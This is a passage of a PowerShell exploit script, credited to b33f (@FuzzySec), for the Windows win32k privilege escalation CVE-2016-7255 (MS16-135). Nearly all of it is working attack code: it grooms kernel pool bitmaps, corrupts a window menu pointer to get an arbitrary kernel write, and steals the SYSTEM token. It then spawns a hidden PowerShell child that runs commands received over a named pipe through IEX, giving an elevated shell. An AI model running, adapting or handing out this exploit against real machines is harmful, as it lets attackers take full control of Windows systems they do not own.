IntPtr VirtualAlloc(\n\t\t\tIntPtr lpAddress,\n\t\t\tuint dwSize,\n\t\t\tUInt32 flAllocationType,\n\t\t\tUInt32 flProtect);\n\n\t\tpublic UInt16 CustomClass(string class_name)\n\t\t{\n\t\t\tm_wnd_proc_delegate = CustomWndProc;\n\t\t\tWNDCLASSEX wind_class = new WNDCLASSEX();\n\t\t\twind_class.lpszClassName = class_name;\n\t\t\t///wind_class.cbSize = (uint)Marshal.SizeOf(wind_class);\n\t\t\twind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);\n\t\t\treturn RegisterClassW(ref wind_class);\n\t\t}\n\n\t\tprivate static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)\n\t\t{\n\t\t\treturn DefWindowProcW(hWnd, msg, wParam, lParam);\n\t\t}\n\n\t\tprivate WndProc m_wnd_proc_delegate;\n\t}\n\"@\n\n#==============================================================[Banner]\n\t$ms16135 = @\"\n\t _____ _____ ___   ___     ___   ___ ___ \n\t|     |   __|_  | |  _|___|_  | |_  |  _|\n\t| | | |__   |_| |_| . |___|_| |_|_  |_  |\n\t|_|_|_|_____|_____|___|   |_____|___|___|\n\t\t\t\t\t\t\t\t\t\t\n\t                   [by b33f -> @FuzzySec]\n\t\t\t\t\t   \n\"@\n\t$ms16135\n\n\tif ([System.IntPtr]::Size -ne 8) {\n\t\t\"`n[!] Target architecture is x64 only!`n\"\n\t\tReturn\n\t}\n\n\t$OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version\n\t$Script:OSMajorMinor = \"$($OSVersion.Major).$($OSVersion.Minor)\"\n\tswitch ($OSMajorMinor)\n\t{\n\t\t'10.0' # Win10 / 2k16\n\t\t{\n\t\t\tWrite-Verbose \"[?] Target is Win 10\"\n\t\t\tWrite-Verbose \"[+] Bitmap dimensions: 0x760*0x4`n\"\n\t\t}\n\n\t\t'6.3' # Win8.1 / 2k12R2\n\t\t{\n\t\t\tWrite-Verbose \"[?] Target is Win 8.1\"\n\t\t\tWrite-Verbose \"[+] Bitmap dimensions: 0x760*0x4`n\"\n\t\t}\n\n\t\t'6.2' # Win8 / 2k12\n\t\t{\n\t\t\tWrite-Verbose \"[?] Target is Win 8\"\n\t\t\tWrite-Verbose \"[+] Bitmap dimensions: 0x760*0x4`n\"\n\t\t}\n\n\t\t'6.1' # Win7 / 2k8R2\n\t\t{\n\t\t\tWrite-Verbose \"[?] Target is Win 7\"\n\t\t\tWrite-Verbose \"[+] Bitmap dimensions: 0x770*0x4`n\"\n\t\t}\n\t}\n\n\tfunction Get-LoadedModules {\n\n\t\tAdd-Type -TypeDefinition @\"\n\t\tusing System;\n\t\tusing System.Diagnostics;\n\t\tusing System.Runtime.InteropServices;\n\t\tusing System.Security.Principal;\n\n\t\t[StructLayout(LayoutKind.Sequential, Pack = 1)]\n\t\tpublic struct SYSTEM_MODULE_INFORMATION\n\t\t{\n\t\t\t[MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]\n\t\t\tpublic UIntPtr[] Reserved;\n\t\t\tpublic IntPtr ImageBase;\n\t\t\tpublic UInt32 ImageSize;\n\t\t\tpublic UInt32 Flags;\n\t\t\tpublic UInt16 LoadOrderIndex;\n\t\t\tpublic UInt16 InitOrderIndex;\n\t\t\tpublic UInt16 LoadCount;\n\t\t\tpublic UInt16 ModuleNameOffset;\n\t\t\t[MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)]\n\t\t\tinternal Char[] _ImageName;\n\t\t\tpublic String ImageName {\n\t\t\t\tget {\n\t\t\t\t\treturn new String(_ImageName).Split(new Char[] {'\\0'}, 2)[0];\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tpublic static class Ntdll\n\t\t{\n\t\t\t[DllImport(\"ntdll.dll\")]\n\t\t\tpublic static extern int NtQuerySystemInformation(\n\t\t\t\tint SystemInformationClass,\n\t\t\t\tIntPtr SystemInformation,\n\t\t\t\tint SystemInformationLength,\n\t\t\t\tref int ReturnLength);\n\t\t}\n\"@\n\n\t\t[int]$BuffPtr_Size = 0\n\t\twhile ($true) {\n\t\t\t[IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size)\n\t\t\t$SystemInformationLength = New-Object Int\n\t\t\n\t\t\t$CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength)\n\t\t\t\n\t\t\tif ($CallResult -eq 0xC0000004) {\n\t\t\t\t[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)\n\t\t\t\t[int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength)\n\t\t\t}\n\t\t\telseif ($CallResult -eq 0x00000000) {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\telse {\n\t\t\t\t[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\t$SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION\n\t\t$SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType()\n\t\tif ([System.IntPtr]::Size -eq 4) {\n\t\t\t$SYSTEM_MODULE_INFORMATION_Size = 284\n\t\t} else {\n\t\t\t$SYSTEM_MODULE_INFORMATION_Size = 296\n\t\t}\n\n\t\t$BuffOffset = $BuffPtr.ToInt64()\n\t\t$HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset)\n\t\t$BuffOffset = $BuffOffset + [System.IntPtr]::Size\n\n\t\t$SystemModuleArray = @()\n\t\tfor ($i=0; $i -lt $HandleCount; $i++){\n\t\t\t$SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset\n\t\t\t$Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION)\n\t\t\t\n\t\t\t$HashTable = @{\n\t\t\t\tImageName = $Cast.ImageName\n\t\t\t\tImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()}\n\t\t\t\tImageSize = \"0x$('{0:X}' -f $Cast.ImageSize)\"\n\t\t\t}\n\t\t\t\n\t\t\t$Object = New-Object PSObject -Property $HashTable\n\t\t\t$SystemModuleArray += $Object\n\t\t\n\t\t\t$BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size\n\t\t}\n\n\t\t$SystemModuleArray\n\n\t\t# Free SystemModuleInformation array\n\t\t[System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr)\n\t}\n\n\tfunction Stage-gSharedInfoBitmap {\n\n\t\tAdd-Type -TypeDefinition @\"\n\t\tusing System;\n\t\tusing System.Diagnostics;\n\t\tusing System.Runtime.InteropServices;\n\t\tusing System.Security.Principal;\n\n\t\tpublic static class gSharedInfoBitmap\n\t\t{\n\t\t\t[DllImport(\"gdi32.dll\")]\n\t\t\tpublic static extern IntPtr CreateBitmap(\n\t\t\t\tint nWidth,\n\t\t\t\tint nHeight,\n\t\t\t\tuint cPlanes,\n\t\t\t\tuint cBitsPerPel,\n\t\t\t\tIntPtr lpvBits);\n\n\t\t\t[DllImport(\"kernel32\", SetLastError=true, CharSet = CharSet.Ansi)]\n\t\t\tpublic static extern IntPtr LoadLibrary(\n\t\t\t\tstring lpFileName);\n\t\t\t\n\t\t\t[DllImport(\"kernel32\", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]\n\t\t\tpublic static extern IntPtr GetProcAddress(\n\t\t\t\tIntPtr hModule,\n\t\t\t\tstring procName);\n\n\t\t\t[DllImport(\"user32.dll\")]\n\t\t\tpublic static extern IntPtr CreateAcceleratorTable(\n\t\t\t\tIntPtr lpaccl,\n\t\t\t\tint cEntries);\n\n\t\t\t[DllImport(\"user32.dll\")]\n\t\t\tpublic static extern bool DestroyAcceleratorTable(\n\t\t\t\tIntPtr hAccel);\n\t\t}\n\"@\n\n\t\tif ([System.IntPtr]::Size -eq 4) {\n\t\t\t$x32 = 1\n\t\t}\n\n\t\tfunction Create-AcceleratorTable {\n\t\t\t[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(10000)\n\t\t\t$AccelHandle = [gSharedInfoBitmap]::CreateAcceleratorTable($Buffer, 700) # +4 kb size\n\t\t\t$User32Hanle = [gSharedInfoBitmap]::LoadLibrary(\"user32.dll\")\n\t\t\t$gSharedInfo = [gSharedInfoBitmap]::GetProcAddress($User32Hanle, \"gSharedInfo\")\n\t\t\tif ($x32){\n\t\t\t\t$gSharedInfo = $gSharedInfo.ToInt32()\n\t\t\t} else {\n\t\t\t\t$gSharedInfo = $gSharedInfo.ToInt64()\n\t\t\t}\n\t\t\t$aheList = $gSharedInfo + [System.IntPtr]::Size\n\t\t\tif ($x32){\n\t\t\t\t$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt32($aheList)\n\t\t\t\t$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0xc # _HANDLEENTRY.Size = 0xC\n\t\t\t\t$phead = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleEntry)\n\t\t\t} else {\n\t\t\t\t$aheList = [System.Runtime.InteropServices.Marshal]::ReadInt64($aheList)\n\t\t\t\t$HandleEntry = $aheList + ([int]$AccelHandle -band 0xffff)*0x18 # _HANDLEENTRY.Size = 0x18\n\t\t\t\t$phead = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleEntry)\n\t\t\t}\n\n\t\t\t$Result = @()\n\t\t\t$HashTable = @{\n\t\t\t\tHandle = $AccelHandle\n\t\t\t\tKernelObj = $phead\n\t\t\t}\n\t\t\t$Object = New-Object PSObject -Property $HashTable\n\t\t\t$Result += $Object\n\t\t\t$Result\n\t\t}\n\n\t\tfunction Destroy-AcceleratorTable {\n\t\t\tparam ($Hanlde)\n\t\t\t$CallResult = [gSharedInfoBitmap]::DestroyAcceleratorTable($Hanlde)\n\t\t}\n\n\t\t$KernelArray = @()\n\t\tfor ($i=0;$i -lt 20;$i++) {\n\t\t\t$KernelArray += Create-AcceleratorTable\n\t\t\tif ($KernelArray.Length -gt 1) {\n\t\t\t\tif ($KernelArray[$i].KernelObj -eq $KernelArray[$i-1].KernelObj) {\n\t\t\t\t\tDestroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle\n\t\t\t\t\t[IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)\n\t\t\t\t\tif ($OSMajorMinor -eq \"6.1\") { \n\t\t\t\t\t\t$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x770, 4, 1, 8, $Buffer) # Win7\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$BitmapHandle = [gSharedInfoBitmap]::CreateBitmap(0x760, 4, 1, 8, $Buffer) # Win8-10\n\t\t\t\t\t}\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t\tDestroy-AcceleratorTable -Hanlde $KernelArray[$i].Handle\n\t\t}\n\n\t\t$BitMapObject = @()\n\t\t$HashTable = @{\n\t\t\tBitmapHandle = $BitmapHandle\n\t\t\tBitmapKernelObj = $($KernelArray[$i].KernelObj)\n\t\t\tBitmappvScan0 = if ($x32) {$($KernelArray[$i].KernelObj) + 0x32} else {$($KernelArray[$i].KernelObj) + 0x50}\n\t\t}\n\t\t$Object = New-Object PSObject -Property $HashTable\n\t\t$BitMapObject += $Object\n\t\t$BitMapObject\n\t}\n\n\tfunction Bitmap-Elevate {\n\t\tparam([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap)\n\n\t\tAdd-Type -TypeDefinition @\"\n\t\tusing System;\n\t\tusing System.Diagnostics;\n\t\tusing System.Runtime.InteropServices;\n\t\tusing System.Security.Principal;\n\t\tpublic static class BitmapElevate\n\t\t{\n\t\t\t[DllImport(\"gdi32.dll\")]\n\t\t\tpublic static extern int SetBitmapBits(\n\t\t\t\tIntPtr hbmp,\n\t\t\t\tuint cBytes,\n\t\t\t\tbyte[] lpBits);\n\t\t\t[DllImport(\"gdi32.dll\")]\n\t\t\tpublic static extern int GetBitmapBits(\n\t\t\t\tIntPtr hbmp,\n\t\t\t\tint cbBuffer,\n\t\t\t\tIntPtr lpvBits);\n\t\t\t[DllImport(\"kernel32.dll\", SetLastError = true)]\n\t\t\tpublic static extern IntPtr VirtualAlloc(\n\t\t\t\tIntPtr lpAddress,\n\t\t\t\tuint dwSize,\n\t\t\t\tUInt32 flAllocationType,\n\t\t\t\tUInt32 flProtect);\n\t\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\t\tpublic static extern bool VirtualFree(\n\t\t\t\tIntPtr lpAddress,\n\t\t\t\tuint dwSize,\n\t\t\t\tuint dwFreeType);\n\t\t\t[DllImport(\"kernel32.dll\", SetLastError=true)]\n\t\t\tpublic static extern bool FreeLibrary(\n\t\t\t\tIntPtr hModule);\n\t\t\t[DllImport(\"kernel32\", SetLastError=true, CharSet = CharSet.Ansi)]\n\t\t\tpublic static extern IntPtr LoadLibrary(\n\t\t\t\tstring lpFileName);\n\t\t\t[DllImport(\"kernel32\", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]\n\t\t\tpublic static extern IntPtr GetProcAddress(\n\t\t\t\tIntPtr hModule,\n\t\t\t\tstring procName);\n\t\t}\n\"@\n\n\t\tfunction Bitmap-Read {\n\t\t\tparam ($Address)\n\t\t\t$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))\n\t\t\t[IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40)\n\t\t\t$CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer)\n\t\t\tif ($x32Architecture){\n\t\t\t\t[System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer)\n\t\t\t} else {\n\t\t\t\t[System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer)\n\t\t\t}\n\t\t\t$CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000)\n\t\t}\n\t\t\n\t\tfunction Bitmap-Write {\n\t\t\tparam ($Address, $Value)\n\t\t\t$CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address))\n\t\t\t$CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value))\n\t\t}\n\n\t\tswitch ($OSMajorMinor)\n\t\t{\n\t\t\t'10.0' # Win10 / 2k16\n\t\t\t{\n\t\t\t\t$UniqueProcessIdOffset = 0x2e8\n\t\t\t\t$TokenOffset = 0x358          \n\t\t\t\t$ActiveProcessLinks = 0x2f0\n\t\t\t}\n\t\t\n\t\t\t'6.3' # Win8.1 / 2k12R2\n\t\t\t{\n\t\t\t\t$UniqueProcessIdOffset = 0x2e0\n\t\t\t\t$TokenOffset = 0x348          \n\t\t\t\t$ActiveProcessLinks = 0x2e8\n\t\t\t}\n\t\t\n\t\t\t'6.2' # Win8 / 2k12\n\t\t\t{\n\t\t\t\t$UniqueProcessIdOffset = 0x2e0\n\t\t\t\t$TokenOffset = 0x348          \n\t\t\t\t$ActiveProcessLinks = 0x2e8\n\t\t\t}\n\t\t\n\t\t\t'6.1' # Win7 / 2k8R2\n\t\t\t{\n\t\t\t\t$UniqueProcessIdOffset = 0x180\n\t\t\t\t$TokenOffset = 0x208          \n\t\t\t\t$ActiveProcessLinks = 0x188\n\t\t\t}\n\t\t}\n\t\t\n\t\tWrite-Verbose \"`n[>] Leaking SYSTEM _EPROCESS..\"\n\t\t$SystemModuleArray = Get-LoadedModules\n\t\t$KernelBase = $SystemModuleArray[0].ImageBase\n\t\t$KernelType = ($SystemModuleArray[0].ImageName -split \"\\\\\")[-1]\n\t\t$KernelHanle = [BitmapElevate]::LoadLibrary(\"$KernelType\")\n\t\t$PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, \"PsInitialSystemProcess\")\n\t\t$SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase}\n\t\t$CallResult = [BitmapElevate]::FreeLibrary($KernelHanle)\n\t\tWrite-Verbose \"[+] _EPROCESS list entry: 0x$(\"{0:X}\" -f $SysEprocessPtr)\"\n\t\t$SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr\n\t\tWrite-Verbose \"[+] SYSTEM _EPROCESS address: 0x$(\"{0:X}\" -f $(Bitmap-Read -Address $SysEprocessPtr))\"\n\t\tWrite-Verbose \"[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))\"\n\t\tWrite-Verbose \"[+] SYSTEM Token: 0x$(\"{0:X}\" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))\"\n\t\t$SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)\n\t\t\n\t\tWrite-Verbose \"`n[>] Spawn child\"\n\t\t\n\t\t$npipeName = Get-Random\n\n\t\tWrite-Verbose \"`n[>] Choosen name : $npipeName\"\n\t\t\n\t\t$StartupInfo = New-Object STARTUPINFO\n\t\t$StartupInfo.dwFlags = 0x00000001\n\t\t$StartupInfo.wShowWindow = 0x00000000\n\t\t$StartupInfo.cb = [System.Runtime.InteropServices.Marshal]::SizeOf($StartupInfo) # Struct Size\n\t\t$ProcessInfo = New-Object PROCESS_INFORMATION\n\t\t$GetCurrentPath = (Get-Item -Path \".\\\" -Verbose).FullName\n\t\t$CallResult = [Advapi32]::CreateProcessWithLogonW(\n\t\t\"user\", \"domain\", \"pass\",\n\t\t0x00000002, \"$Env:SystemRoot\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\", \" add-type -assemblyName `'System.Core`';`$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream(`'.`', `'$npipeName`', [System.IO.Pipes.PipeDirection]::InOut,[System.IO.Pipes.PipeOptions]::None,[System.Security.Principal.TokenImpersonationLevel]::Impersonation);`$pipeReader = `$pipeWriter = `$null;`$playerName = `'ping`';`$npipeClient.Connect();`$pipeWriter = new-object System.IO.StreamWriter(`$npipeClient);`$pipeReader = new-object System.IO.StreamReader(`$npipeClient);`$pipeWriter.AutoFlush = `$true;`$pipeWriter.WriteLine(`$playerName);IEX `$pipeReader.ReadLine();`$npipeClient.Dispose();\",\n\t\t$null, $null, $GetCurrentPath,\n\t\t[ref]$StartupInfo, [ref]$ProcessInfo)\n\n\n\t\tadd-type -assemblyName \"System.Core\"\n\t\t$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream($npipeName, [System.IO.Pipes.PipeDirection]::InOut)\n\t\t$npipeServer.WaitForConnection()\n\t\t$pipeReader = new-object System.IO.StreamReader($npipeServer)\n\t\t$script:pipeWriter = new-object System.IO.StreamWriter($npipeServer)\n\t\t$pipeWriter.AutoFlush = $true\n\t\t$playerName = $pipeReader.ReadLine()\n\t\t\n\t\tif($playerName -eq \"ping\")\n\t\t{\n\t\t\tWrite-Verbose \"[+] Ping from child, voila\"\n\t\t}\n\t\t\n\t\tWrite-Verbose \"[+] Child PID is : $(\"{0}\" -f $ProcessInfo.dwProcessId)`n\"\n\t\t\n\t\tWrite-Verbose \"`n[>] Leaking current _EPROCESS..\"\n\t\tWrite-Verbose \"[+] Traversing ActiveProcessLinks list\"\n\t\t$NextProcess = $(Bitmap-Read -Address $($SysEPROCESS+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size\n\t\twhile($true) {\n\t\t\t$NextPID = Bitmap-Read -Address $($NextProcess+$UniqueProcessIdOffset)\n\t\t\tif ($NextPID -eq $ProcessInfo.dwProcessId) {\n\t\t\t\tWrite-Verbose \"[+] PowerShell _EPROCESS address: 0x$(\"{0:X}\" -f $NextProcess)\"\n\t\t\t\tWrite-Verbose \"[+] PID: $NextPID\"\n\t\t\t\tWrite-Verbose \"[+] PowerShell Token: 0x$(\"{0:X}\" -f $(Bitmap-Read -Address $($NextProcess+$TokenOffset)))\"\n\t\t\t\t$PoShTokenAddr = $NextProcess+$TokenOffset\n\t\t\t\tbreak\n\t\t\t}\n\t\t\t$NextProcess = $(Bitmap-Read -Address $($NextProcess+$ActiveProcessLinks)) - $UniqueProcessIdOffset - [System.IntPtr]::Size\n\t\t}\n\n\t\tWrite-Verbose \"`n[!] Duplicating SYSTEM token!`n\"\n\n\t\tBitmap-Write -Address $PoShTokenAddr -Value $SysToken\n\n\t\t\"`n[!] Success, spawning a system shell!\"\n\t\t\n\t\tWrite-Verbose \"[!] Sending command to the elevated child\"\n\t\t$pipeWriter.WriteLine($Command)\n\t\t$npipeServer.Dispose()\t\n\t\t\n\t}\n\n\tfunction Sim-KeyDown {\n\t\tparam([Int]$wKey)\n\t\t$KeyboardInput = New-Object KEYBDINPUT\n\t\t$KeyboardInput.dwFlags = 0\n\t\t$KeyboardInput.wVk = $wKey\n\n\t\t$InputObject = New-Object INPUT\n\t\t$InputObject.itype = 1\n\t\t$InputObject.U = $KeyboardInput\n\t\t$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)\n\t\t\n\t\t$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)\n\t\tif ($CallResult -eq 1) {\n\t\t\t$true\n\t\t} else {\n\t\t\t$false\n\t\t}\n\t}\n\n\tfunction Sim-KeyUp {\n\t\tparam([Int]$wKey)\n\t\t$KeyboardInput = New-Object KEYBDINPUT\n\t\t$KeyboardInput.dwFlags = 2\n\t\t$KeyboardInput.wVk = $wKey\n\t\t\n\t\t$InputObject = New-Object INPUT\n\t\t$InputObject.itype = 1\n\t\t$InputObject.U = $KeyboardInput\n\t\t$InputSize = [System.Runtime.InteropServices.Marshal]::SizeOf($InputObject)\n\t\t\n\t\t$CallResult = [ms16135]::SendInput(1, $InputObject, $InputSize)\n\t\tif ($CallResult -eq 1) {\n\t\t\t$true\n\t\t} else {\n\t\t\t$false\n\t\t}\n\t}\n\n\tfunction Do-AltShiftEsc {\n\t\t$CallResult = Sim-KeyDown -wKey 0x12 # VK_MENU\n\t\t$CallResult = Sim-KeyDown -wKey 0x10 # VK_SHIFT\n\t\t$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE\n\t\t$CallResult = Sim-KeyUp -wKey 0x1b   # VK_ESCAPE\n\t\t$CallResult = Sim-KeyDown -wKey 0x1b # VK_ESCAPE\n\t\t$CallResult = Sim-KeyUp -wKey 0x1b   # VK_ESCAPE\n\t\t$CallResult = Sim-KeyUp -wKey 0x12   # VK_MENU\n\t\t$CallResult = Sim-KeyUp -wKey 0x10   # VK_SHIFT\n\t}\n\n\tfunction Do-AltShiftTab {\n\t\tparam([Int]$Count)\n\t\t$CallResult = Sim-KeyDown -wKey 0x12    # VK_MENU\n\t\t$CallResult = Sim-KeyDown -wKey 0x10    # VK_SHIFT\n\t\tfor ($i=0;$i -lt $count;$i++) {\n\t\t\t$CallResult = Sim-KeyDown -wKey 0x9 # VK_TAB\n\t\t\t$CallResult = Sim-KeyUp -wKey 0x9   # VK_TAB\n\t\t}\n\t\t$CallResult = Sim-KeyUp -wKey 0x12      # VK_MENU\n\t\t$CallResult = Sim-KeyUp -wKey 0x10      # VK_SHIFT\n\t}\n\n\tdo {\n\t\t$Bitmap1 = Stage-gSharedInfoBitmap\n\t\t$Bitmap2 = Stage-gSharedInfoBitmap\n\t\tif ($Bitmap1.BitmapKernelObj -lt $Bitmap2.BitmapKernelObj) {\n\t\t\t$WorkerBitmap = $Bitmap1\n\t\t\t$ManagerBitmap = $Bitmap2\n\t\t} else {\n\t\t\t$WorkerBitmap = $Bitmap2\n\t\t\t$ManagerBitmap = $Bitmap1\n\t\t}\n\t\t$Distance = $ManagerBitmap.BitmapKernelObj - $WorkerBitmap.BitmapKernelObj\n\t} while ($Distance -ne 0x2000)\n\n\tWrite-Verbose \"[?] Adjacent large session pool feng shui..\"\n\tWrite-Verbose \"[+] Worker  : $('{0:X}' -f $WorkerBitmap.BitmapKernelObj)\"\n\tWrite-Verbose \"[+] Manager : $('{0:X}' -f $ManagerBitmap.BitmapKernelObj)\"\n\tWrite-Verbose \"[+] Distance: 0x$('{0:X}' -f $Distance)\"\n\n\t$TargetAddress = $WorkerBitmap.BitmapKernelObj + 63\n\n\tfunction Do-OrAddress {\n\t\tparam([Int64]$Address)\n\n\t\t$AtomCreate = New-Object ms16135\n\t\t$hAtom = $AtomCreate.CustomClass(\"cve-2016-7255\")\n\t\tif ($hAtom -eq 0){\n\t\t\tbreak\n\t\t}\n\n\t\tWrite-Verbose \"`n[?] Creating Window objects\"\n\t\t$hMod = [ms16135]::GetModuleHandleW([String]::Empty)\n\t\t$hWndParent = [ms16135]::CreateWindowExW(0,\"cve-2016-7255\",[String]::Empty,0x10CF0000,0,0,360,360,[IntPtr]::Zero,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)\n\t\tif ($hWndParent -eq 0){\n\t\t\tbreak\n\t\t}\n\n\t\t$hWndChild = [ms16135]::CreateWindowExW(0,\"cve-2016-7255\",\"cve-2016-7255\",0x50CF0000,0,0,160,160,$hWndParent,[IntPtr]::Zero,$hMod,[IntPtr]::Zero)\n\t\tif ($hWndChild -eq 0){\n\t\t\tbreak\n\t\t}\n\n\t\t$Address = $Address - 0x28\n\n\t\tWrite-Verbose \"[+] Corrupting child window spmenu\"\n\t\t$CallResult = [ms16135]::SetWindowLongPtr($hWndChild,-12,[IntPtr]$Address)\n\n\t\t$CallResult = [ms16135]::ShowWindow($hWndParent,1)\n\t\t$hDesktopWindow = [ms16135]::GetDesktopWindow()\n\t\t$CallResult = [ms16135]::SetParent($hWndChild,$hDesktopWindow)\n\t\t$CallResult = [ms16135]::SetForegroundWindow($hWndChild)\n\n\t\tDo-AltShiftTab -Count 4\n\n\t\t$CallResult = [ms16135]::SwitchToThisWindow($hWndChild,$true)\n\n\t\tDo-AltShiftEsc\n\n\t\tfunction Trigger-Write {\n\t\t\t$SafeGuard = [diagnostics.stopwatch]::StartNew()\n\t\t\twhile ($SafeGuard.ElapsedMilliseconds -lt 3000) {\n\t\t\t\t$tagMSG = New-Object tagMSG\n\t\t\t\tif ($([ms16135]::GetMessage([ref]$tagMSG,[IntPtr]::Zero,0,0))) {\n\t\t\t\t\t$CallResult = [ms16135]::SetFocus($hWndParent) #\n\t\t\t\t\tfor ($i=0;$i-lt20;$i++){Do-AltShiftEsc}        #\n\t\t\t\t\t$CallResult = [ms16135]::SetFocus($hWndChild)  # Bug triggers here!\n\t\t\t\t\tfor ($i=0;$i-lt20;$i++){Do-AltShiftEsc}        #\n\t\t\t\t\t$CallResult = [ms16135]::TranslateMessage([ref]$tagMSG)\n\t\t\t\t\t$CallResult = [ms16135]::DispatchMessage([ref]$tagMSG)\n\t\t\t\t}\n\t\t\t} $SafeGuard.Stop()\n\t\t}\n\t\t[IntPtr]$Global:BytePointer = [ms16135]::VirtualAlloc([System.IntPtr]::Zero, 0x2000, 0x3000, 0x40)\n\t\tdo {\n\t\t\tWrite-Verbose \"[+] Trying to trigger arbitrary 'Or'..\"\n\t\t\t$ByteRead = [ms16135]::GetBitmapBits($WorkerBitmap.BitmapHandle,0x2000,$BytePointer)\n\t\t\tTrigger-Write\n\t\t\t$LoopCount += 1\n\t\t} while ($ByteRead -ne 0x2000 -And $LoopCount -lt 10)\n\n\t\t$CallResult = [ms16135]::DestroyWindow($hWndChild)\n\t\t$CallResult = [ms16135]::DestroyWindow($hWndParent)\n\t\t$CallResult = [ms16135]::UnregisterClass(\"cve-2016-7255\",[IntPtr]::Zero)\n\t\t\n\t\tif ($LoopCount -eq 10) {\n\t\t\t\"`n[!] Bug did not trigger, try again or patched?`n\"\n\t\t\t$Script:BugNotTriggered = 1\n\t\t}\n\t}\n\n\tDo-OrAddress -Address $TargetAddress\n\tif ($BugNotTriggered) {\n\t\tReturn\n\t}\n\n\tif ($OSMajorMinor -eq \"6.1\") {\n\t\t$SizeVal = 0x400000770\n\t} else {\n\t\t$SizeVal = 0x400000760\n\t}\n\tdo {\n\t\t$Read64 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount)\n\t\tif ($Read64 -eq $SizeVal) {\n\t\t\t$Pointer1 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 16)\n\t\t\t$Pointer2 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $LoopCount + 24)\n\t\t\tif ($Pointer1 -eq $Pointer2) {\n\t\t\t\t$BufferOffset = $LoopCount + 16\n\t\t\t\tBreak\n\t\t\t}\n\t\t}\n\t\t$LoopCount += 8\n\t} while ($LoopCount -lt 0x2000)\n\t$pvBits = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset)\n\t$pvScan0 = [System.Runtime.InteropServices.Marshal]::ReadInt64($BytePointer.ToInt64() + $BufferOffset + 8)\n\n\tif ($pvScan0 -ne 0) {\n\t\tWrite-Verbose \"`n[?] Success, reading beyond worker bitmap size!\"\n\t\tWrite-Verbose \"[+] Old manager bitmap pvScan0: $('{0:X}' -f $pvScan0)\"\n\t} else {\n\t\t\"`n[!] Buffer contains invalid data, 